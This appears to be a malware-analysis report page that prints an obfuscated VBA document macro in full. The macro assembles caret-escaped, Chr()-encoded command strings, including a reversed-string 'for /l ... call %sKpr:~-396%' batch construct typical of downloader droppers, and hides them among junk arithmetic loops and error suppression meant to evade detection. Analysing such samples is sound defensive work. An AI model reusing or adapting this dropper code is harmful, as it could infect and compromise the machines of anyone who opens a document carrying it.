LJzjEprsJYW = "/^IX7" + CStr(Chr(ohCzpdKidEWEb + SPCCRus + 109 + FNhYATFL + LTsqbLSrkknu)) + "Etj" + "^ov^PJ^" + CStr(Chr(oDCNszwvzusb + dKwKcqcjZZbr + 99 + IzVLSwj + sTcmQTwwz)) + "^QEJ.C^Is^" + CStr(Chr(NalcREIEddm + vnCYhJz + 99 + sGrzEMPbbbbS + LstNoiToFRbr)) + "^S" + CStr(Chr(ZQpPchifl + vpBBLZi + 99 + rjnwLYM + ZXMjzCK)) + "RljK^" + CStr(Chr(pHzjGbMs + mustlXZsd + 109 + EUdiMuo + zrZNtzGKZMjSi)) + "^l" + "y^5^d^aTP5n^l" + "^L^ii^C" + "^8a^rJ^T^ha"
If qAftlt Xor TOQkQP Then
      For bvMwEF = 7579 To 186640408
         iHJHD = iujnP / jfaihq + IwJjw - wwwfnQ - 4600 + 65137 * 74262 - sVmia
      Next
   End If
rPPIhwfh = "q^4J" + CStr(Chr(GjiaMaJhs + nVCthYjASuVi + 109 + QOTRJmWYLXfPN + qKjGJKkIj)) + "^f^jkx^yu" + "Me^oJM^s^jV^Rs" + "^C1xe^I^Th.^4" + "^B^Dw^ Bvw^VL0w"
BtNEOp = "^dDg^/^z" + "g^0^/sd^Z^:E" + "^LCplp^Ut^ue" + "7^tjq^4" + "hoE^s@^" + "ZTE^i^G" + "^B^t5N^Fu" + "^w^K^Dn" + "e0^iN^IXq"
If dVdjKB Xor fHhzK Then
      For XNdFW = 7579 To 186640408
         OvXNEt = hNvIw / YdFbz + mvSIJ - kcrVI - 15886 + 54274 * 8569 - KjGHZp
      Next
   End If
   If zkwlw Xor rSmiqk Then
      For vnOsTR = 7579 To 186640408
         MEmjra = tzTaZ / bTXKjo + ADWilU - PwsPFX - 30690 + 15218 * 90468 - RtVXzS
      Next
   End If
fLCUQKL = "e^Rl^97/rz^wsZ" + "^X^odt^d^e" + "a^j^D^go^FD^" + "ll5^x^jp^i" + " 0uR^MA^/Dxe^" + "exB^q" + CStr(Chr(midXkBfm + qQjUNOKi + 99 + LjkbkoYqd + mmwAovn)) + "NY^2i^" + "3pjflV^U^f^F"
If pLcPD Xor fabJi Then
      For vXnwz = 7579 To 186640408
         EUCfT = aspST / kDaUf + mjoFaw - wMoWVi - 47413 + 679 * 22078 - jPJsE
      Next
   End If
   If sWWbia Xor LjQaui Then
      For aqMiSf = 7579 To 186640408
         BvBLp = onlbsa / NYHviI + DIstd - WPIPf - 8429 + 37845 * 30641 - bUPpmA
      Next
   End If
   If TMHZY Xor ibsLMR Then
      For wuFqU = 7579 To 186640408
         mVUku = YpqEV / irdmNo + ahFvd - MjtPp - 18481 + 37880 * 45601 - DpzcNX
      Next
   End If
tnIYwzGDpfO = "^9aotq^Uk^" + CStr(Chr(kaEEzuzlvvZ + NzFzBmvdp + 99 + FDdkUZTXr + lbjbqrmuiGcU)) + "^" + "DW" + CStr(Chr(uruArAvRpzwQMQ + CmifOiRZwEq + 99 + JciElaiYWzj + mhfafWYFDp)) + "A^O^Ha^" + "M^pk^b2" + "S^l^/WR5" + CStr(Chr(kPZUEnJApfWOLa + DjmwturjuWYUV + 109 + nvLAKIE + aliHKROE)) + "ZM^" + "K^eI^5et^L" + "^Mf^s^" + CStr(Chr(BWCozqYpZiOp + ZiSAaffzOa + 99 + PkYdHUol + kHLKmSijwkFK)) + "T" + "^qyHN0s^9I^B_^T" + "6^ir^" + CStr(Chr(wOiAFCHcPra + watAtAqwL + 99 + sMUfbnCFD + sqnjRbIrTjz)) + "^" + "p^fedHG^e^8"
QrLwoPW = LJzjEprsJYW + rPPIhwfh + BtNEOp + fLCUQKL + tnIYwzGDpfO
   If iTmSBj Xor zJbVs Then
      For IiaRZ = 7579 To 186640408
         VwoHbX = mftWDf / DLKcD + Zwfus - zYMhOU - 53098 + 87922 * 47837 - tMKvDz
      Next
   End If
   If nXqfw Xor YwNLFX Then
      For tOhZZ = 7579 To 186640408
         wiBcl = LRwRHK / MZHUDS + OJQGQo - bAzdV - 58234 + 45035 * 74958 - lvFpmj
      Next
   End If
End Function
Function iNWCvdnvj()
On Error Resume Next
jNvsWnzDlsa = "x^pr^j^v^Vak^YU" + CStr(Chr(IEkMJrdnaNHs + AcoVkTRiDMN + 99 + qTUjtLlWX + vLTrScjniwHPf)) + "H1^A^/y^kq^" + CStr(Chr(hQaAXwacn + hNhwFdZ + 109 + YAaPbjaAPi + SfdUwWfsUifWN)) + "^j" + "^i^k^o^Mk^P" + "^" + CStr(Chr(Gmtdpjoph + ZqYaNEPP + 99 + DbJGtGEqUDCf + OWEOJdpwil)) + "^Lf^V" + ".fFZe^t" + "^a^0^gGW^pa4^Kb" + "t^2VgiF^3IrC" + "Q^H^eqMb^" + "hK^bQ^sbq^V" + CStr(Chr(TtVbHzhjCKjXw + zMmItcEMqzBG + 109 + HzXJEmKVtwFwfQ + hSitpkrdCMPh)) + "vD" + "r^eq^ G" + "g^23I" + CStr(Chr(FqwpvMMNsnZ + qDvzoJERj + 109 + EXGuHrWdqRqOC + raUauTLRAa)) + "^yl^X" + "aJFOik^F^E^"
If BdKrm Xor iHwLpO Then
      For LznkRA = 7579 To 186640408
         mfEZwV = wcnij / BOKqjN + wOfMz - qjHCC - 29495 + 48710 * 86609 - VYktQ
      Next
   End If
   If fLcFit Xor mzADwp Then
      For Asclf = 7579 To 186640408
         qalTJq = tmGqwj / jUjri + mVFBLb - vVjIH - 72380 + 65325 * 81580 - aJwoM
      Next
   End If
EHlfcDB = "sF^x^B^/^C^6^ /" + "Pk^w:M^" + "R7^p^98l" + "tV^zn^t^" + "a2AhPgA^'An^" + "S^=gaOFb" + CStr(Chr(bYZJWTFlY + GAQwnAzot + 109 + RizIcXsGF + cvFQITvwDwkIOZ)) + "7Z^" + "q^p7SHWR$y^gV;y" + "B^Yt91^en^O1" + CStr(Chr(XQAlOHIGvM + hsSBwGXVrWsjt + 99 + WhWiiwA + EilVnzVvFEPLd)) + "e8" + "^40i1^9el^6" + "^F" + CStr(Chr(HCIfAXUr + lYZdfrj + 109 + wQVChsBzbph + zMbjpVUSjqTRC)) + "^Cs^" + "Jg^bo^GS^e^wtF"
NPhriLrrXiP = "W^xVS.u^" + "b^" + CStr(Chr(SaMinBmtmzbnza + kKsbNCw + 99 + CKMaCkfS + AcwFrKSojOi)) + "^t ^w^Z" + "e6h^ONqa^P ^SU" + "vt^o9" + CStr(Chr(qniHKziPcKXkr + kPwUtvsZm + 109 + QuNRnch + mTdUTXPYSa)) + CStr(Chr(kzERSNc + NwCJinCKWvDYDh + 99 + bBVjUHLkAfvI + OEWYYWaLkk)) + "XDoe" + "^A^17^jX^h^A^" + "b5Xno^op" + " -V" + CStr(Chr(vfRcjRnfq + QdGkSJDs + 99 + AjwCfItL + lTGLjSYwd)) + "^rwB9^z^" + "e^a^opn" + "s^7q^=53^yrt"
If KGSXoj Xor kCiBU Then
      For jHiml = 7579 To 186640408
         FziLw = itZvuj / VOrFIj + oXYEC - VjqCNB - 51925 + 60360 * 89356 - bvTvKm
      Next
   End If
   If skViht Xor hEDjRF Then
      For uwMIO = 7579 To 186640408
         TWmuj = ddjOz / rWICZN + TdPjw - wdoLR - 56138 + 11934 * 19193 - IWzaCO
      Next
   End If
   If IwSzGr Xor ZGiji Then
      For dIRFu = 7579 To 186640408
         XisID = VQJpkw / ojwEO + cwAnu - vMTznC - 80441 + 30798 * 67206 - GPpOY
      Next
   End If
SsOatV = "^R^H^S^KNxM" + "Teq$8^S^W a^" + "K6^lGT^b" + "^lDyfe^" + CStr(Chr(fCzGvRmICh + DvwSZBJtUb + 99 + wXuEzlEOYq + AvkrHDNjtzD)) + "^O6^h ^gx^sp" + "M0^rr45^e^tKiwT" + "7q^o5^A6" + "^p)&&    ;  ;^" + "fOr ; ; /^l; ;" + " ;%^4 ;  ;"
iNWCvdnvj = jNvsWnzDlsa + EHlfcDB + NPhriLrrXiP + SsOatV
   If naourH <> tsSJtP Then
      Set VHhZvJ = vLqad
      ElseIf aolYE <> wfSpRX Then
      PqRTK = CSng(LuRzcX)
   End If
   If pDlai Xor sYzuv Then
      For Dmooh = 7579 To 186640408
         pSOkto = OlEwK / DROtvV + vZTsd - OLFjJ - 74218 + 39926 * 48580 - unEJwS
      Next
   End If
End Function
Function KaMiozWShsz()
On Error Resume Next
If sPwUOk <> EHuES Then
      Set TDRQC = tLdrfu
      ElseIf bIqJB <> QVnDqw Then
      UBmJZ = CSng(NsbOf)
   End If
GIVZA = "^In ;  (^  " + " ;^+^15^83 ^-" + "^4 3^ ^" + "; ) ; ;" + "D^o ;( (  ; " + " ;;  s^e^" + "T s^Kp^r=!s^Kp" + "^r!!o^C:~  " + " %^4, 1!) )& " + ";  ; ^i^F; %" + "^4  ; ;  ;   ; " + ";; ^L^eQ"
If IZrtFu <> WILCAN Then
      Set CsGUD = jLwAJl
      ElseIf ViEfGG <> tZNfa Then
      dqDjVK = CSng(NJCpu)
   End If
   If RQOXTa <> IFNwtX Then
      Set zfAbU = XsYUSZ
      ElseIf ZAuKzf <> wEZfX Then
      MLvYL = CSng(iLuvOE)
   End If
BSwZMkoanU = "  ; ; ;  ^3 ; ;" + "  ; (^C^a^lL  " + ";  ; %s^" + "Kp^r:^~ ^" + " -39^6%) " + CStr(Chr(zwzUbzEHbJXX + QcdvMaUS + 34 + RmQNLczTi + nHuwqRWZmMTZuw)) + "   "
KaMiozWShsz = GIVZA + BSwZMkoanU
   If zcrkTD <> rDjwu Then
      Set cdfat = UqINiw
      ElseIf dLcPk <> MGvwW Then
      GZFwzC = CSng(PIlfX)
   End If
End Function
Private Function uoMisFhjOb()
On Error Resume Next
   If fFwZwh Xor TUuBr Then
      WWiJc = jdjnlM - HRdcOF
      Else
      wlOrCQ = FOuXkO - SblEvM - 32621 + vRKMI + oprjvR / lIrHM * 2106 - OoPBwN * 78824 * sYTtJo + 80166 + jpHNRY / 7007 * owOjTu
      iLqvGB = Ovlwz + 37130 - (CHXvL / SFnJq / YMBwIX * bkhTsj + (XbLbTb + imoqkH + icXhFV * 56269 * Mwdazs * UoiMQn - tMqOBt - NHXPO))
   End If
   If Kclcs Xor GXjaX Then
      IdiEL = GhVzB - TVNbb
      Else
      lbbjrz = zBXcz - IFsrc - 66377 + AUnUjL + YJWCfv / ovicmi * 88892 - DiFWp * 86471 * biltj + 94743 + oHzfY / 71403 * iVwDYT
      JOpDw = REPKWi + 33572 - (sQmLoX / bdGGJ / YNISQ * zRPvp + (KzkroJ + TGmEKr + wCiljz * 78745 * tqHsF * UQdVz - dYWjpw - pSmJz))
   End If
   If ouhzi Xor uQbutD Then
      zGiMVN = LrwURh - zSwNAv
      Else
      GrfzUG = hlMOmC - wJOii - 12210 + zwNhBb + zcjsIj / PCMAHI * 57342 - lGfii * 5874 * jjWpG + 17884 + SRTfsk / 16039 * ViVZjH
      dWzNq = GCXts + 78125 - (zWSahV / uhbPtw / lBIIW * hFzrt + (jLPvm + vPiwL + sLXHvv * 66052 * sEVAO * VnKrXb - PlYfmp - ziXmq))
   End If
   If KiaJE Xor YZfqP Then
      BiIErb = OcZzbJ - TWKjj
      Else
      CULIk = TSIpGh - Fnkod - 62591 + Fwnlf + zwpCPw / EihTz * 39657 - ISGnT * 33009 * ESjhj + 428 + EDhad / 71255 * VcGZIb
      aGQpJ = CnrAR + 26833 - (ufGUjw / zbztWj / npANLq * iMSsW + (VRLhIP + mpVlpJ + MzGWTZ * 91539 * zrmGX * QTnbMV - iPSlG - ozTOXB))
   End If
   If cOmsXi <= PtTAA Then
      If htztJ >= AwQfD Then
         iKwDX = htmdf
      End If
      For MsipYb = 5 To nMNLLi
         FKjjMj = (ioUcLW / TGiDO - hQmLZ - 78673 * 9256 * zUzlU / wXJFRv / dDKMM + JUFjH * 93811 + (FpXYHX + SlTUqr))
      Next
      ElseIf UwwYmS And DMbwNj Then
      If vrlror Or HzlwtQ Then
         sjqVVT = YILUdi
      End If
      For cvatn = WticCz To 9123
         NwLZt = 301963753
      Next
   End If
   If dujiMr Xor zGtkvE Then
      zqIjNR = Xjwwm - zuGhJR
      Else
      jajzI = djRdz - skqcda - 69800 + aFOli + KzCzMa / fAZJJa * 15407 - aGCwCu * 93735 * RdGZI + 97214 + MvQiuj / 56880 * QZPMj
      SUzcV = zLmfj + 27422 - (kWFAUh / NOssN / wolYn * NszJGz + (wbAIlC + ssvLYu + JDEbHO * 26347 * LZNsw * vlNwD - iwMGHp - ODsaAs))
   End If
   If KmnOR Xor OPwsc Then
      CSzLYr = miLqqU - XwoFLl
      Else
      UKCrwz = ciNzm - rHNwz - 46783 + JZzvw + iCQasj / whIzUa * 84493 - KDztEL * 83265 * lsGnT + 72330 + KHvEQL / 23995 * UQvMK
      QcYjiz = BCrjr + 73313 - (hmtXKm / pYWbYz / ccJwhQ * QhGll + (JFDUZ + hWiXX + XBaDC * 10092 * BVZai * JVIREm - ZNokUB - zPduE))
   End If
End Function
Private Function KGnWQXNEsWGGXI()
On Error Resume Next
   If UPuziK Or CQPcv Then
      bEuNNs = Sin(bmYGY)
      For nBkYD = hQDPHk To AFlGB
         RFQRLs = QYChq - YiXzSr / 22163 / NiXpnc - 98492 / BqjWLG
      Next
      Else
      Set WjYjtj = OVYTM
   End If
   If JSBWm Or zRnDMN Then
      RHfvEj = Sin(IptkmH)
      For adhVT = UdSNkl To ududE
         wuVpR = aPHTYR - ivWnGh / 86928 / QopSK - 35876 / miuPf
      Next
      Else
      Set JGEoQm = cNJtwB
   End If
   If FTOpSE Or tcXPK Then
      WLBTc = Sin(hBPtL)
      For sDTCQ = QPPwW To hsCad
         BQjLm = TErvC - paCXaA / 7495 / MDzvIa - 78523 / mkPHXI
      Next
      Else
      Set uijQRi = cVNnH
   End If
   If YpovL Or hFjXHQ Then
      ccZIl = Sin(UoRzp)
      For AsDivV = LBOpF To UBbAY
         JVlAl = kLBldG - wzKoib / 71536 / zEGNm - 38481 / Qwsoti
      Next
      Else
      Set aPsSuK = IZXHz
   End If
End Function
Private Function OvNiBbjD()
On Error Resume Next
   If VkPDYE Xor klcJNp Then
      BDLmsi = wnzGN - alLpJ
      Else
      FzQlv = YRUAUA - FiczP - 95609 + FJYzQ + LADwZn / JkilSP * 91151 - NAwSz * 10782 * Zznvr + 98105 + vbSVwf / 45337 * VahAr
      vrfAC = rJbfQr + 6808 - (FLivAK / HSwRPw / fWkwNm * FIupIH + (znEHbw + KvlAh + oZijmt * 85185 * FuSdRz * CjGrDC - fsKoA - UazwjF))
   End If
   If GAjwhA Or zCNjz Then
      DRWPWz = Sin(CPAboi)
      For kQmlUa = DfmBVf To NfMAjA
         cjaDD = oqzIJz - VhPbM / 49353 / zmjOA - 34463 / pkobIh
      Next
      Else
      Set HjMiRz = NfirW
   End If
   If hnmmo Xor pWjMEz Then
      dMriYD = GpLKE - EXRYa
      Else
      hXnOl = UCWoNX - UTVRkp - 39229 + NJsbb + blSEKm / PIpwFh * 8008 - mRboU * 70149 * jGhjFI + 38272 + umJQt / 32128 * jDkJE
      fSiIQ = brRnH + 94662 - (CLXbhX / tuMwRL / iiYELf * DoCapu + (XdwBSL + sMbDl + RlFir * 9953 * tJsjwR * zXVArd - WQNuw - VpVwAZ))
   End If
   If aLCPOI Xor smdKzI Then
      MiIid = uqZwtB - fvTzL
      Else
      ScXEc = uNmFjd - iNNUq - 3838 + ImjmEW + wOzSj / sqioaf * 81465 - SHksUs * 36971 * Rbdvjw + 61450 + lzGavz / 79011 * AiIsiZ
      KLspfz = jduCzV + 78309 - (PtKmDb / PnTSw / qkbNsi * jrIAt + (PcjtCT + OOPhwV + lvEWM * 5254 * ttToE * VBXkJt - LwjuR - wdbUtR))
   End If
   If SiUik Xor zOlPF Then
      LOUqb = IGvUr - tFIDnv
      Else
      WujjpB = HMDIf - pwoHVf - 41993 + RQVwqf + fIwaph / GchfpJ * 8629 - Cmotzw * 32125 * hIZtF + 58581 + iwVcc / 8485 * hpQGq
      ZppMk = OiJzj + 86400 - (HOSQo / bOwhUj / rvFwcs * EbsSN + (kQfYA + jNzsPZ + dOwaIU * 61040 * iScLU * mKfWzD - sLiajj - OtCqZA))
   End If
   If jPkoG Or KqwMCl Then
      zFLjAR = Sin(OzDtv)
      For vmGFWd = iJUDnB To ZRnAjf
         GIUzr = CCiMr - iDYjqp / 48932 / wqkHtw - 67660 / wKDNPJ
      Next
      Else
      Set dmIfXq = bIMuXi
   End If
End Function
Private Function NzYmPLQi()
On Error Resume Next
   If QwuCto Or HSZuw Then
      harpi = Sin(GnNUGl)
      For QGTVJk = TiOPF To jurouP
         krMXV = wjKCco - zYHow / 30779 / qsDMb - 70619 / wMwYZr
      Next
      Else
      Set KYtvA = oZIbm
   End If
   If KYTDcK Or LYwbUm Then
      zGPPdD = Sin(ShkajH)
      For ulNzHT = qApEw To AQjOAU
         dtUVfz = rqjcvC - QnkcNT / 37387 / FZKiD - 96076 / BVaLT
      Next
      Else
      Set BRsUH = SzRNIw
   End If
   If jLmCsi Or asoAv Then
      nzTOiC = Sin(zmzNtw)
      For VRjbZz = OnZtju To tSktzP
         qFuwjf = wMZJvm - JIMavn / 48963 / uVwHK - 6835 / OTtjI
      Next
      Else
      Set LpiqUH = bzjkI
   End If
   If dvlnBV Or nuLAv Then
      ppNCkj = Sin(PVrIFm)
      For GoMBi = OYGjn To ziNXh
         LrcKD = YNMTH - dhOTQ / 98886 / JRuZQi - 57511 / alICw
      Next
      Else
      Set ouuYv = BcVouQ
   End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.